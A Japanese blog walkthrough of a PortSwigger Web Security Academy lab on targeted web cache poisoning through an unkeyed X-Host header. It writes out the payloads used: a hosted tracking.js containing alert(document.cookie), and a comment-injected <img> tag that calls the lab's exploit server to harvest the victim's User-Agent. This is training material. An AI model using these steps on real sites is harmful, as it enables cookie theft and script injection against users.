Shikata Ga Nai

Private? There is no such things.

Targeted web cache poisoning using an unknown headerをやってみた

Hello there, ('ω')ノ

 

不明なヘッダを使用してターゲットを絞ったWebキャッシュポイズニングを。

 

今回は、複数の手順が必要なようで。

脆弱性がどこにあるかを特定して。

キャッシュがどのように動作するかを調べて。

キャッシュをポイズニングする前に。

ユーザの適切なサブセットをターゲットにする方法を見つけて。

 

f:id:ThisIsOne:20210119152822p:plain

 

ホームページ生成したリクエストをリピーターへ。

 

f:id:ThisIsOne:20210119152905p:plain

 

下記のキャッシュバスタークエリパラメータを追加して、Sendして。

 X-Host: example.com

 

このヘッダ値は、下記のファイルをインポートするURLを動的に生成して。

 /resources/js/tracking.js

 

f:id:ThisIsOne:20210119153057p:plain

 

被害者をシミュレートするには、URLをロードしてalert()を確認する必要があって。

User-Agentは、キャッシュキーの一部として使用されていて。

被害者を標的にするには、被害者のユーザエージェントを見つける必要があって。

 

まずは、Exploit Serverを起動して。

FileとBodyを入力して。

 /resources/js/tracking.js

 alert(document.cookie)

 

f:id:ThisIsOne:20210119153406p:plain

 

一旦、Storeして。

 

f:id:ThisIsOne:20210119153511p:plain

 

Exploit ServerのURLと先ほどのヘッダ値を入れ替えて、Sendして。

 acb41f491f6ab8dc801e0da801540059.web-security-academy.net

 

f:id:ThisIsOne:20210119153604p:plain

 

ここで、ブログへの書き込みをして、Post Commentを。

 <img src="https://acb41f491f6ab8dc801e0da801540059.web-security-academy.net/foo" />

 

f:id:ThisIsOne:20210119154044p:plain

 

Back to blogして。

 

f:id:ThisIsOne:20210119154150p:plain

 

コメントが反映されたことを確認して。

 

f:id:ThisIsOne:20210119154248p:plain

 

Exploit Serverのログを確認して、User-Agentをコピーして。

 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36

 

f:id:ThisIsOne:20210119154433p:plain

 

 

User-Agentを書き換えてSendして、X-Cache: hitになったら。

 

f:id:ThisIsOne:20210119154550p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210119160015p:plain

 

Best regards, (^^ゞ